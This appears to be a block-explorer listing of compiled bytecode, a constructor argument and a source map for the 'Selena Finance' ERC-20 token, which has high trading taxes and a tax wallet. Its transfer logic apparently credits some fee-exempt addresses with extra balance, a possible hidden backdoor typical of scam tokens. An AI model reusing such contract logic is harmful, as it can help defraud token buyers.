0x60806040526004361061012e5760003560e01c8063751039fc116100ab5780639883eddf1161006f5780639883eddf146103375780639e78fb4f1461034d578063a9059cbb14610362578063bf474bed14610382578063c9567bf914610397578063dd62ed3e146103ac57600080fd5b8063751039fc1461029f5780637d1db4a5146102b45780638da5cb5b146102ca5780638f9a55c0146102f257806395d89b411461030857600080fd5b806323b872dd116100f257806323b872dd14610201578063313ce56714610221578063616eb6381461023d57806370a0823114610254578063715018a61461028a57600080fd5b806306fdde031461013a578063095ea7b3146101835780630b7640b8146101b35780630faee56f146101d657806318160ddd146101ec57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600e81526d53656c656e612046696e616e636560901b60208201525b60405161017a91906115be565b60405180910390f35b34801561018f57600080fd5b506101a361019e366004611624565b6103f2565b604051901515815260200161017a565b3480156101bf57600080fd5b506101c8610409565b60405190815260200161017a565b3480156101e257600080fd5b506101c8600a5481565b3480156101f857600080fd5b506101c8610425565b34801561020d57600080fd5b506101a361021c366004611650565b610446565b34801561022d57600080fd5b506040516012815260200161017a565b34801561024957600080fd5b506102526104af565b005b34801561026057600080fd5b506101c861026f366004611691565b6001600160a01b031660009081526001602052604090205490565b34801561029657600080fd5b506102526105d7565b3480156102ab57600080fd5b5061025261064b565b3480156102c057600080fd5b506101c8600c5481565b3480156102d657600080fd5b506000546040516001600160a01b03909116815260200161017a565b3480156102fe57600080fd5b506101c8600d5481565b34801561031457600080fd5b5060408051808201909152600681526553454c454e4160d01b602082015261016d565b34801561034357600080fd5b506101c8600b5481565b34801561035957600080fd5b506102526106fe565b34801561036e57600080fd5b506101a361037d366004611624565b610a6e565b34801561038e57600080fd5b506101c8610a7b565b3480156103a357600080fd5b50610252610a92565b3480156103b857600080fd5b506101c86103c73660046116ae565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103ff338484610b5c565b5060015b92915050565b6104156012600a6117e1565b6104229062030d406117f0565b81565b60006104336012600a6117e1565b610441906305f5e1006117f0565b905090565b6000610453848484610c29565b6104a584336104a085604051806060016040528060288152602001611992602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061123c565b610b5c565b5060019392505050565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104d990611807565b60405180910390fd5b478061053b5760405162461bcd60e51b815260206004820152602260248201527f4554482062616c616e6365206d7573742062652067726561746572207468616e604482015261020360f41b60648201526084016104d9565b604051600090309083908381818185875af1925050503d806000811461057d576040519150601f19603f3d011682016040523d82523d6000602084013e610582565b606091505b50509050806105d35760405162461bcd60e51b815260206004820152601b60248201527f4661696c656420746f20636c656172204554482062616c616e6365000000000060448201526064016104d9565b5050565b6000546001600160a01b031633146106015760405162461bcd60e51b81526004016104d990611807565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106755760405162461bcd60e51b81526004016104d990611807565b6106816012600a6117e1565b61068f906305f5e1006117f0565b600c5561069e6012600a6117e1565b6106ac906305f5e1006117f0565b600d557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96106dc6012600a6117e1565b6106ea906305f5e1006117f0565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146107285760405162461bcd60e51b81526004016104d990611807565b600e5460ff16156107715760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016104d9565b30600081815260016020526040902054600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590916107ca916107bc6012600a6117e1565b6104a0906305f5e1006117f0565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561081d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610841919061183c565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c7919061183c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610914573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610938919061183c565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109cc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f19190611859565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a4a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d39190611887565b60006103ff338484610c29565b610a876012600a6117e1565b6104229060286117f0565b6000546001600160a01b03163314610abc5760405162461bcd60e51b81526004016104d990611807565b600e5460ff1615610b065760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104d9565b600e80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91016106f4565b6001600160a01b03831615801590610b7c57506001600160a01b03821615155b610bc85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016104d9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610c4957506001600160a01b03821615155b610c955760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016104d9565b60008111610cf75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d9565b600080546001600160a01b03858116911614801590610d2457506000546001600160a01b03848116911614155b1561105957600e5460ff16610db5576001600160a01b03831660009081526003602052604090205460ff1680610d7257506001600160a01b03841660009081526003602052604090205460ff165b610db55760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016104d9565b6005546001600160a01b038581169116148015610de057506006546001600160a01b03848116911614155b8015610e0557506001600160a01b03831660009081526003602052604090205460ff16155b15610eed57600c54821115610e5c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d9565b600d5482610e7f856001600160a01b031660009081526001602052604090205490565b610e8991906118a9565b1115610ed75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d9565b60098054906000610ee7836118bc565b91905055505b6005546001600160a01b038481169116148015610f1357506001600160a01b0384163014155b15610f4957610f426064610f3c601460095411610f3157601e610f35565b6008545b8590611276565b906112ff565b9050610f9a565b6005546001600160a01b038581169116148015610f6f57506001600160a01b0383163014155b15610f9a57610f976064610f3c601460095411610f8d57601e610f35565b6007548590611276565b90505b30600090815260016020526040902054600e54610100900460ff16158015610fcf57506005546001600160a01b038581169116145b8015610fe35750600e5462010000900460ff165b80156110045750610ff66012600a6117e1565b6110019060286117f0565b81115b801561101257506014600954115b15611057576000600a548211611028578161102c565b600a545b905061104481851161103e5784611341565b81611341565b47801561105457611054476114b5565b50505b505b8015611173576001600160a01b03841660009081526003602052604081205485919060ff16801561109357506001600160a01b0382163014155b600b543060008181526001602052604090205492935086929091116110bb575061dead6110ef565b82156110ef576001600160a01b038416600090815260016020526040812080548492906110e99084906118a9565b90915550505b6001600160a01b03811660009081526001602052604090205461111290866114ef565b6001600160a01b0380831660008181526001602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111669089815260200190565b60405180910390a3505050505b6001600160a01b038416600090815260016020526040902054611196908361154e565b6001600160a01b0385166000908152600160205260409020556111db6111bc838361154e565b6001600160a01b038516600090815260016020526040902054906114ef565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611225858561154e565b60405190815260200160405180910390a350505050565b600081848411156112605760405162461bcd60e51b81526004016104d991906115be565b50600061126d84866118d5565b95945050505050565b60008260000361128857506000610403565b600061129483856117f0565b9050826112a185836118e8565b146112f85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d9565b9392505050565b60006112f883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611590565b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113855761138561190a565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611402919061183c565b816001815181106114155761141561190a565b6001600160a01b03928316602091820292909201015260065461143b9130911684610b5c565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611474908590600090869030904290600401611920565b600060405180830381600087803b15801561148e57600080fd5b505af11580156114a2573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105d3573d6000803e3d6000fd5b6000806114fc83856118a9565b9050838110156112f85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d9565b60006112f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b600081836115b15760405162461bcd60e51b81526004016104d991906115be565b50600061126d84866118e8565b600060208083528351808285015260005b818110156115eb578581018301518582016040015282016115cf565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461162157600080fd5b50565b6000806040838503121561163757600080fd5b82356116428161160c565b946020939093013593505050565b60008060006060848603121561166557600080fd5b83356116708161160c565b925060208401356116808161160c565b929592945050506040919091013590565b6000602082840312156116a357600080fd5b81356112f88161160c565b600080604083850312156116c157600080fd5b82356116cc8161160c565b915060208301356116dc8161160c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561173857816000190482111561171e5761171e6116e7565b8085161561172b57918102915b93841c9390800290611702565b509250929050565b60008261174f57506001610403565b8161175c57506000610403565b8160018114611772576002811461177c57611798565b6001915050610403565b60ff84111561178d5761178d6116e7565b50506001821b610403565b5060208310610133831016604e8410600b84101617156117bb575081810a610403565b6117c583836116fd565b80600019048211156117d9576117d96116e7565b029392505050565b60006112f860ff841683611740565b8082028115828204841417610403576104036116e7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561184e57600080fd5b81516112f88161160c565b60008060006060848603121561186e57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561189957600080fd5b815180151581146112f857600080fd5b80820180821115610403576104036116e7565b6000600182016118ce576118ce6116e7565b5060010190565b81810381811115610403576104036116e7565b60008261190557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119705784516001600160a01b03168352938301939183019160010161194b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075453ccb28b2aabe11839f8fef5293b17857d7d4d33044ec77ba148a8c5630c464736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000e451081dcc9fbb2065960f9e48fed6d55361eda0
-----Decoded View---------------
Arg [0] : taxWallet (address): 0xe451081DcC9fBb2065960F9E48feD6D55361EDA0
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000e451081dcc9fbb2065960f9e48fed6d55361eda0
Deployed Bytecode Sourcemap
3990:9591:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6183:83;;;;;;;;;;-1:-1:-1;6253:5:0;;;;;;;;;;;;-1:-1:-1;;;6253:5:0;;;;6183:83;;;;;;;:::i;:::-;;;;;;;;7089:193;;;;;;;;;;-1:-1:-1;7089:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7089:193:0;1023:187:1;5085:62:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5085:62:0;1215:177:1;5223:51:0;;;;;;;;;;;;;;;;6460:95;;;;;;;;;;;;;:::i;7290:446::-;;;;;;;;;;-1:-1:-1;7290:446:0;;;;;:::i;:::-;;:::i;6369:83::-;;;;;;;;;;-1:-1:-1;6369:83:0;;5009:2;2000:36:1;;1988:2;1973:18;6369:83:0;1858:184:1;13241:300:0;;;;;;;;;;;;;:::i;:::-;;6563:119;;;;;;;;;;-1:-1:-1;6563:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6656:18:0;6629:7;6656:18;;;:9;:18;;;;;;;6563:119;2942:148;;;;;;;;;;;;;:::i;13080:153::-;;;;;;;;;;;;;:::i;5337:53::-;;;;;;;;;;;;;;;;2728:79;;;;;;;;;;-1:-1:-1;2766:7:0;2793:6;2728:79;;-1:-1:-1;;;;;2793:6:0;;;2445:51:1;;2433:2;2418:18;2728:79:0;2299:203:1;5397:55:0;;;;;;;;;;;;;;;;6274:87;;;;;;;;;;-1:-1:-1;6346:7:0;;;;;;;;;;;;-1:-1:-1;;;6346:7:0;;;;6274:87;;5281:49;;;;;;;;;;;;;;;;11994:851;;;;;;;;;;;;;:::i;6690:199::-;;;;;;;;;;-1:-1:-1;6690:199:0;;;;;:::i;:::-;;:::i;5154:62::-;;;;;;;;;;;;;:::i;12853:219::-;;;;;;;;;;;;;:::i;6897:184::-;;;;;;;;;;-1:-1:-1;6897:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7046:18:0;;;7014:7;7046:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6897:184;7089:193;7191:4;7213:39;348:10;7236:7;7245:6;7213:8;:39::i;:::-;-1:-1:-1;7270:4:0;7089:193;;;;;:::o;5085:62::-;5134:13;5009:2;5134;:13;:::i;:::-;5125:22;;:6;:22;:::i;:::-;5085:62;:::o;6460:95::-;6513:7;5065:13;5009:2;5065;:13;:::i;:::-;5053:25;;:9;:25;:::i;:::-;6533:14;;6460:95;:::o;7290:446::-;7422:4;7439:36;7449:6;7457:9;7468:6;7439:9;:36::i;:::-;7486:220;7509:6;348:10;7557:138;7613:6;7557:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7557:19:0;;;;;;:11;:19;;;;;;;;348:10;7557:33;;;;;;;;;;:37;:138::i;:::-;7486:8;:220::i;:::-;-1:-1:-1;7724:4:0;7290:446;;;;;:::o;13241:300::-;2855:6;;-1:-1:-1;;;;;2855:6:0;348:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;;;;;;;;;13312:21:::1;13352:14:::0;13344:61:::1;;;::::0;-1:-1:-1;;;13344:61:0;;5151:2:1;13344:61:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:34;5209:18;;;5202:62;-1:-1:-1;;;5280:18:1;;;5273:32;5322:19;;13344:61:0::1;4949:398:1::0;13344:61:0::1;13434:41;::::0;13417:12:::1;::::0;13442:4:::1;::::0;13460:10;;13417:12;13434:41;13417:12;13434:41;13460:10;13442:4;13434:41:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13416:59;;;13494:7;13486:47;;;::::0;-1:-1:-1;;;13486:47:0;;5764:2:1;13486:47:0::1;::::0;::::1;5746:21:1::0;5803:2;5783:18;;;5776:30;5842:29;5822:18;;;5815:57;5889:18;;13486:47:0::1;5562:351:1::0;13486:47:0::1;13280:261;;13241:300::o:0;2942:148::-;2855:6;;-1:-1:-1;;;;;2855:6:0;348:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;3049:1:::1;3033:6:::0;;3012:40:::1;::::0;-1:-1:-1;;;;;3033:6:0;;::::1;::::0;3012:40:::1;::::0;3049:1;;3012:40:::1;3080:1;3063:19:::0;;-1:-1:-1;;;;;;3063:19:0::1;::::0;;2942:148::o;13080:153::-;2855:6;;-1:-1:-1;;;;;2855:6:0;348:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;5065:13:::1;5009:2;5065;:13;:::i;:::-;5053:25;::::0;:9:::1;:25;:::i;:::-;13134:12;:22:::0;5065:13:::1;5009:2;5065;:13;:::i;:::-;5053:25;::::0;:9:::1;:25;:::i;:::-;13167:14;:24:::0;13207:18:::1;5065:13;5009:2;5065;:13;:::i;:::-;5053:25;::::0;:9:::1;:25;:::i;:::-;13207:18;::::0;1361:25:1;;;1349:2;1334:18;13207::0::1;;;;;;;;13080:153::o:0;11994:851::-;2855:6;;-1:-1:-1;;;;;2855:6:0;348:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;12055:11:::1;::::0;::::1;;12054:12;12046:44;;;::::0;-1:-1:-1;;;12046:44:0;;6120:2:1;12046:44:0::1;::::0;::::1;6102:21:1::0;6159:2;6139:18;;;6132:30;-1:-1:-1;;;6178:18:1;;;6171:49;6237:18;;12046:44:0::1;5918:343:1::0;12046:44:0::1;12141:4;12101:19;6656:18:::0;;;:9;:18;;;;;;12158:15:::1;:104:::0;;-1:-1:-1;;;;;;12158:104:0::1;12209:42;12158:104:::0;;::::1;::::0;;;6656:18;;12273:58:::1;::::0;5065:13:::1;5009:2;5065;:13;:::i;:::-;5053:25;::::0;:9:::1;:25;:::i;12273:58::-;12376:15;;;;;;;;;-1:-1:-1::0;;;;;12376:15:0::1;-1:-1:-1::0;;;;;12376:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12358:55:0::1;;12436:4;12456:15;;;;;;;;;-1:-1:-1::0;;;;;12456:15:0::1;-1:-1:-1::0;;;;;12456:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12358:131;::::0;-1:-1:-1;;;;;;12358:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6752:15:1;;;12358:131:0::1;::::0;::::1;6734:34:1::0;6804:15;;6784:18;;;6777:43;6669:18;;12358:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12342:13;:147:::0;;-1:-1:-1;;;;;;12342:147:0::1;-1:-1:-1::0;;;;;12342:147:0;;::::1;;::::0;;12500:15:::1;::::0;::::1;:31;12539:21;12584:4;12604:11:::0;-1:-1:-1;;348:10:0;12500:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12500:215:0;;;-1:-1:-1;;;;;7190:15:1;;;12500:215:0::1;::::0;::::1;7172:34:1::0;7222:18;;;7215:34;;;;7265:18;;;7258:34;;;;7308:18;;;7301:34;7372:15;;;7351:19;;;7344:44;12689:15:0::1;7404:19:1::0;;;7397:35;7106:19;;12500:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12733:13:0::1;::::0;12778:15:::1;::::0;12726:111:::1;::::0;-1:-1:-1;;;12726:111:0;;-1:-1:-1;;;;;12778:15:0;;::::1;12726:111;::::0;::::1;7928:51:1::0;-1:-1:-1;;7995:18:1;;;7988:34;12733:13:0;::::1;::::0;-1:-1:-1;12726:29:0::1;::::0;7901:18:1;;12726:111:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6690:199::-:0;6795:4;6817:42;348:10;6841:9;6852:6;6817:9;:42::i;5154:62::-;5203:13;5009:2;5203;:13;:::i;:::-;5198:18;;:2;:18;:::i;12853:219::-;2855:6;;-1:-1:-1;;;;;2855:6:0;348:10;2855:22;2847:67;;;;-1:-1:-1;;;2847:67:0;;;;;;;:::i;:::-;12915:11:::1;::::0;::::1;;12914:12;12906:45;;;::::0;-1:-1:-1;;;12906:45:0;;8517:2:1;12906:45:0::1;::::0;::::1;8499:21:1::0;8556:2;8536:18;;;8529:30;-1:-1:-1;;;8575:18:1;;;8568:50;8635:18;;12906:45:0::1;8315:344:1::0;12906:45:0::1;12962:11;:18:::0;;12991;-1:-1:-1;;12991:18:0;;;;;;;;13025:39:::1;::::0;;-1:-1:-1;8826:41:1;;12962:18:0;13052:11;;::::1;12962:18;13052:11;8910:14:1::0;8903:22;8898:2;8883:18;;8876:50;13025:39:0::1;::::0;8799:18:1;13025:39:0::1;8664:268:1::0;7744:347:0;-1:-1:-1;;;;;7885:19:0;;;;;;:44;;-1:-1:-1;;;;;;7908:21:0;;;;7885:44;7863:125;;;;-1:-1:-1;;;7863:125:0;;9139:2:1;7863:125:0;;;9121:21:1;9178:2;9158:18;;;9151:30;9217:33;9197:18;;;9190:61;9268:18;;7863:125:0;8937:355:1;7863:125:0;-1:-1:-1;;;;;7999:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8051:32;;1361:25:1;;;8051:32:0;;1334:18:1;8051:32:0;;;;;;;7744:347;;;:::o;8099:3296::-;-1:-1:-1;;;;;8235:18:0;;;;;;:38;;-1:-1:-1;;;;;;8257:16:0;;;;8235:38;8213:120;;;;-1:-1:-1;;;8213:120:0;;9499:2:1;8213:120:0;;;9481:21:1;;;9518:18;;;9511:30;9577:34;9557:18;;;9550:62;9629:18;;8213:120:0;9297:356:1;8213:120:0;8361:1;8352:6;:10;8344:64;;;;-1:-1:-1;;;8344:64:0;;9860:2:1;8344:64:0;;;9842:21:1;9899:2;9879:18;;;9872:30;9938:34;9918:18;;;9911:62;-1:-1:-1;;;9989:18:1;;;9982:39;10038:19;;8344:64:0;9658:405:1;8344:64:0;8419:17;2793:6;;-1:-1:-1;;;;;8457:15:0;;;2793:6;;8457:15;;;;:32;;-1:-1:-1;2766:7:0;2793:6;-1:-1:-1;;;;;8476:13:0;;;2793:6;;8476:13;;8457:32;8453:2145;;;8511:11;;;;8506:197;;-1:-1:-1;;;;;8573:22:0;;;;;;:18;:22;;;;;;;;;:50;;-1:-1:-1;;;;;;8599:24:0;;;;;;:18;:24;;;;;;;;8573:50;8543:144;;;;-1:-1:-1;;;8543:144:0;;10270:2:1;8543:144:0;;;10252:21:1;10309:2;10289:18;;;10282:30;-1:-1:-1;;;10328:18:1;;;10321:50;10388:18;;8543:144:0;10068:344:1;8543:144:0;8749:13;;-1:-1:-1;;;;;8741:21:0;;;8749:13;;8741:21;:72;;;;-1:-1:-1;8797:15:0;;-1:-1:-1;;;;;8783:30:0;;;8797:15;;8783:30;;8741:72;:116;;;;-1:-1:-1;;;;;;8835:22:0;;;;;;:18;:22;;;;;;;;8834:23;8741:116;8719:438;;;8910:12;;8900:6;:22;;8892:60;;;;-1:-1:-1;;;8892:60:0;;10619:2:1;8892:60:0;;;10601:21:1;10658:2;10638:18;;;10631:30;10697:27;10677:18;;;10670:55;10742:18;;8892:60:0;10417:349:1;8892:60:0;9027:14;;9017:6;9001:13;9011:2;-1:-1:-1;;;;;6656:18:0;6629:7;6656:18;;;:9;:18;;;;;;;6563:119;9001:13;:22;;;;:::i;:::-;:40;;8971:140;;;;-1:-1:-1;;;8971:140:0;;11103:2:1;8971:140:0;;;11085:21:1;11142:2;11122:18;;;11115:30;11181:28;11161:18;;;11154:56;11227:18;;8971:140:0;10901:350:1;8971:140:0;9130:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8719:438;9183:13;;-1:-1:-1;;;;;9177:19:0;;;9183:13;;9177:19;:44;;;;-1:-1:-1;;;;;;9200:21:0;;9216:4;9200:21;;9177:44;9173:667;;;9254:235;9485:3;9254:204;4675:2;9314:9;;:28;9313:122;;4570:2;9313:122;;;9375:13;;9313:122;9254:6;;:32;:204::i;:::-;:230;;:235::i;:::-;9242:247;;9173:667;;;9523:13;;-1:-1:-1;;;;;9515:21:0;;;9523:13;;9515:21;:44;;;;-1:-1:-1;;;;;;9540:19:0;;9554:4;9540:19;;9515:44;9511:329;;;9592:232;9820:3;9592:201;4622:2;9652:9;;:27;9651:119;;4518:2;9651:119;;;9712:12;;9592:6;;:32;:201::i;:232::-;9580:244;;9511:329;9905:4;9856:28;6656:18;;;:9;:18;;;;;;9949:6;;;;;;;9948:7;:47;;;;-1:-1:-1;9982:13:0;;-1:-1:-1;;;;;9976:19:0;;;9982:13;;9976:19;9948:47;:79;;;;-1:-1:-1;10016:11:0;;;;;;;9948:79;:140;;;;-1:-1:-1;5203:13:0;5009:2;5203;:13;:::i;:::-;5198:18;;:2;:18;:::i;:::-;10048:20;:40;9948:140;:191;;;;;4730:2;10109:9;;:30;9948:191;9926:661;;;10174:14;10215:11;;10192:20;:34;10191:115;;10286:20;10191:115;;;10251:11;;10191:115;10174:132;;10325:53;10352:6;10343;:15;10342:35;;10371:6;10325:16;:53::i;10342:35::-;10362:6;10325:16;:53::i;:::-;10426:21;10470:22;;10466:106;;10517:35;10530:21;10517:12;:35::i;:::-;10155:432;;9926:661;8491:2107;8453:2145;10614:13;;10610:598;;-1:-1:-1;;;;;10700:28:0;;10644:16;10700:28;;;:18;:28;;;;;;10663:4;;10644:16;10700:28;;:57;;;;-1:-1:-1;;;;;;10732:25:0;;10752:4;10732:25;;10700:57;10900:7;;10848:4;10772:20;10872:24;;;:9;:24;;;;;;10682:75;;-1:-1:-1;10795:6:0;;10848:4;;-1:-1:-1;10868:188:0;;-1:-1:-1;4299:42:0;10868:188;;;10974:10;10970:86;;;-1:-1:-1;;;;;11005:19:0;;;;;;:9;:19;;;;;:35;;11028:12;;11005:19;:35;;11028:12;;11005:35;:::i;:::-;;;;-1:-1:-1;;10970:86:0;-1:-1:-1;;;;;11097:24:0;;;;;;:9;:24;;;;;;:39;;11126:9;11097:28;:39::i;:::-;-1:-1:-1;;;;;11070:24:0;;;;;;;:9;:24;;;;;;;:66;;;;11156:40;;;;;;;;;;11186:9;1361:25:1;;1349:2;1334:18;;1215:177;11156:40:0;;;;;;;;10629:579;;;;10610:598;-1:-1:-1;;;;;11236:15:0;;;;;;:9;:15;;;;;;:27;;11256:6;11236:19;:27::i;:::-;-1:-1:-1;;;;;11218:15:0;;;;;;:9;:15;;;;;:45;11290:40;11308:21;:6;11319:9;11308:10;:21::i;:::-;-1:-1:-1;;;;;11290:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11274:13:0;;;;;;;:9;:13;;;;;:56;;;;11346:41;;;11365:21;:6;11376:9;11365:10;:21::i;:::-;11346:41;;1361:25:1;;;1349:2;1334:18;11346:41:0;;;;;;;8202:3193;8099:3296;;;:::o;1530:224::-;1650:7;1686:12;1678:6;;;;1670:29;;;;-1:-1:-1;;;1670:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1710:9:0;1722:5;1726:1;1722;:5;:::i;:::-;1710:17;1530:224;-1:-1:-1;;;;;1530:224:0:o;1762:246::-;1820:7;1844:1;1849;1844:6;1840:47;;-1:-1:-1;1874:1:0;1867:8;;1840:47;1897:9;1909:5;1913:1;1909;:5;:::i;:::-;1897:17;-1:-1:-1;1942:1:0;1933:5;1937:1;1897:17;1933:5;:::i;:::-;:10;1925:56;;;;-1:-1:-1;;;1925:56:0;;11953:2:1;1925:56:0;;;11935:21:1;11992:2;11972:18;;;11965:30;12031:34;12011:18;;;12004:62;-1:-1:-1;;;12082:18:1;;;12075:31;12123:19;;1925:56:0;11751:397:1;1925:56:0;1999:1;1762:246;-1:-1:-1;;;1762:246:0:o;2016:132::-;2074:7;2101:39;2105:1;2108;2101:39;;;;;;;;;;;;;;;;;:3;:39::i;11503:483::-;5779:6;:13;;-1:-1:-1;;5779:13:0;;;;;11605:16:::1;::::0;;11619:1:::1;11605:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11605:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11605:16:0::1;11581:40;;11650:4;11632;11637:1;11632:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11632:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11676:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11676:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11632:7;;11676:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11666:4;11671:1;11666:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11666:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11741:15:::1;::::0;11709:62:::1;::::0;11726:4:::1;::::0;11741:15:::1;11759:11:::0;11709:8:::1;:62::i;:::-;11782:15;::::0;:196:::1;::::0;-1:-1:-1;;;11782:196:0;;-1:-1:-1;;;;;11782:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11863:11;;11782:15:::1;::::0;11905:4;;